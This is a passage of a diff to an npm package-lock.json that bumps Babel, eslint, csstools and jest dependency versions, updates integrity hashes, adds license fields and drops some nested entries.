-      "integrity": "sha512-+xrD2BWLpvHKNmX2QbpdpsBaWnRxahMwJjO+KZk2JOElj5nSmKezyS1B4u+QbHMTX69t4ukm6hh9lsYQ7GHCKA==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
+      "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.23.5",
-        "@babel/parser": "^7.23.9",
-        "@babel/types": "^7.23.9"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/parser": "^7.27.2",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.9.tgz",
-      "integrity": "sha512-I/4UJ9vs90OkBtY6iiiTORVMyIhJ4kAVmsKo9KFc8UOxMeUfi2hvtIBsET5u9GizXE6/GFSuKCTNfgCswuEjRg==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz",
+      "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.23.5",
-        "@babel/generator": "^7.23.6",
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-function-name": "^7.23.0",
-        "@babel/helper-hoist-variables": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/parser": "^7.23.9",
-        "@babel/types": "^7.23.9",
-        "debug": "^4.3.1",
-        "globals": "^11.1.0"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-globals": "^7.28.0",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.28.0",
+        "debug": "^4.3.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.9.tgz",
-      "integrity": "sha512-dQjSq/7HaSjRM43FFGnv5keM2HsxpmyV1PfaSVm0nzzjwwTmjOe6J4bC8e3+pTEIgHaHj+1ZlLThRJ2auc/w1Q==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.0.tgz",
+      "integrity": "sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.23.4",
-        "@babel/helper-validator-identifier": "^7.22.20",
-        "to-fast-properties": "^2.0.0"
+        "@babel/helper-string-parser": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -2016,17 +2087,20 @@
     "node_modules/@bcoe/v8-coverage": {
       "version": "0.2.3",
       "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
-      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="
+      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==",
+      "license": "MIT"
     },
     "node_modules/@csstools/normalize.css": {
       "version": "12.1.1",
       "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.1.1.tgz",
-      "integrity": "sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ=="
+      "integrity": "sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ==",
+      "license": "CC0-1.0"
     },
     "node_modules/@csstools/postcss-cascade-layers": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz",
       "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/selector-specificity": "^2.0.2",
         "postcss-selector-parser": "^6.0.10"
@@ -2046,6 +2120,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz",
       "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/postcss-progressive-custom-properties": "^1.1.0",
         "postcss-value-parser": "^4.2.0"
@@ -2065,6 +2140,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz",
       "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2083,6 +2159,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz",
       "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2101,6 +2178,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz",
       "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/postcss-progressive-custom-properties": "^1.1.0",
         "postcss-value-parser": "^4.2.0"
@@ -2120,6 +2198,7 @@
       "version": "2.0.7",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz",
       "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/selector-specificity": "^2.0.0",
         "postcss-selector-parser": "^6.0.10"
@@ -2139,6 +2218,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz",
       "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2157,6 +2237,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz",
       "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2175,6 +2256,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz",
       "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/postcss-progressive-custom-properties": "^1.1.0",
         "postcss-value-parser": "^4.2.0"
@@ -2194,6 +2276,7 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz",
       "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2208,6 +2291,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz",
       "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2226,6 +2310,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz",
       "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2244,6 +2329,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz",
       "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -2262,6 +2348,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz",
       "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==",
+      "license": "CC0-1.0",
       "engines": {
         "node": "^12 || ^14 || >=16"
       },
@@ -2277,6 +2364,7 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz",
       "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==",
+      "license": "CC0-1.0",
       "engines": {
         "node": "^14 || ^16 || >=18"
       },
@@ -2289,23 +2377,28 @@
       }
     },
     "node_modules/@eslint-community/eslint-utils": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz",
-      "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==",
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.7.0.tgz",
+      "integrity": "sha512-dyybb3AcajC7uha6CvhdVRJqaKyn7w2YKqKyAN37NKYgZT36w+iRb0Dymmc5qEJ549c/S31cMMSFd75bteCpCw==",
+      "license": "MIT",
       "dependencies": {
-        "eslint-visitor-keys": "^3.3.0"
+        "eslint-visitor-keys": "^3.4.3"
       },
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      },
       "peerDependencies": {
         "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
       }
     },
     "node_modules/@eslint-community/regexpp": {
-      "version": "4.10.0",
-      "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz",
-      "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==",
+      "version": "4.12.1",
+      "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz",
+      "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==",
+      "license": "MIT",
       "engines": {
         "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
       }
@@ -2314,6 +2407,7 @@
       "version": "2.1.4",
       "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz",
       "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==",
+      "license": "MIT",
       "dependencies": {
         "ajv": "^6.12.4",
         "debug": "^4.3.2",
@@ -2332,45 +2426,23 @@
         "url": "https://opencollective.com/eslint"
       }
     },
-    "node_modules/@eslint/eslintrc/node_modules/globals": {
-      "version": "13.24.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
-      "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
-      "dependencies": {
-        "type-fest": "^0.20.2"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
-    "node_modules/@eslint/eslintrc/node_modules/type-fest": {
-      "version": "0.20.2",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
-      "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/@eslint/js": {
-      "version": "8.56.0",
-      "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.56.0.tgz",
-      "integrity": "sha512-gMsVel9D7f2HLkBma9VbtzZRehRogVRfbr++f06nL2vnCGCNlzOD+/MUov/F4p8myyAHspEhVobgjpX64q5m6A==",
+      "version": "8.57.1",
+      "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz",
+      "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==",
+      "license": "MIT",
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       }
     },
     "node_modules/@humanwhocodes/config-array": {
-      "version": "0.11.14",
-      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz",
-      "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==",
+      "version": "0.13.0",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.13.0.tgz",
+      "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==",
+      "deprecated": "Use @eslint/config-array instead",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@humanwhocodes/object-schema": "^2.0.2",
+        "@humanwhocodes/object-schema": "^2.0.3",
         "debug": "^4.3.1",
         "minimatch": "^3.0.5"
       },
@@ -2382,6 +2454,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
       "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=12.22"
       },
@@ -2391,14 +2464,17 @@
       }
     },
     "node_modules/@humanwhocodes/object-schema": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.2.tgz",
-      "integrity": "sha512-6EwiSjwWYP7pTckG6I5eyFANjPhmPjUX9JRLUSfNPC7FX7zK9gyZAfUEaECL6ALTpGX5AjnBq3C9XmVWPitNpw=="
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz",
+      "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==",
+      "deprecated": "Use @eslint/object-schema instead",
+      "license": "BSD-3-Clause"
     },
     "node_modules/@isaacs/cliui": {
       "version": "8.0.2",
       "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
       "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
+      "license": "ISC",
       "dependencies": {
         "string-width": "^5.1.2",
         "string-width-cjs": "npm:string-width@^4.2.0",
@@ -2412,9 +2488,10 @@
       }
     },
     "node_modules/@isaacs/cliui/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -2426,6 +2503,7 @@
       "version": "6.2.1",
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
       "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -2437,6 +2515,7 @@
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -2451,6 +2530,7 @@
       "version": "8.1.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
       "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^6.1.0",
         "string-width": "^5.0.1",
@@ -2467,6 +2547,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
       "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^5.3.1",
         "find-up": "^4.1.0",
@@ -2482,6 +2563,7 @@
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -2490,6 +2572,7 @@
       "version": "5.3.1",
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
       "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -2498,6 +2581,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -2510,6 +2594,7 @@
       "version": "3.14.1",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -2522,6 +2607,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -2533,6 +2619,7 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -2547,6 +2634,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -2554,18 +2642,11 @@
         "node": ">=8"
       }
     },
-    "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
-      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@istanbuljs/schema": {
       "version": "0.1.3",
       "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
       "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -2574,6 +2655,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz",
       "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "@types/node": "*",
@@ -2586,74 +2668,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/@jest/console/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@jest/console/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@jest/console/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@jest/console/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/@jest/console/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@jest/console/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jest/core": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz",
       "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^27.5.1",
         "@jest/reporters": "^27.5.1",
@@ -2696,74 +2715,11 @@
         }
       }
     },
-    "node_modules/@jest/core/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@jest/core/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
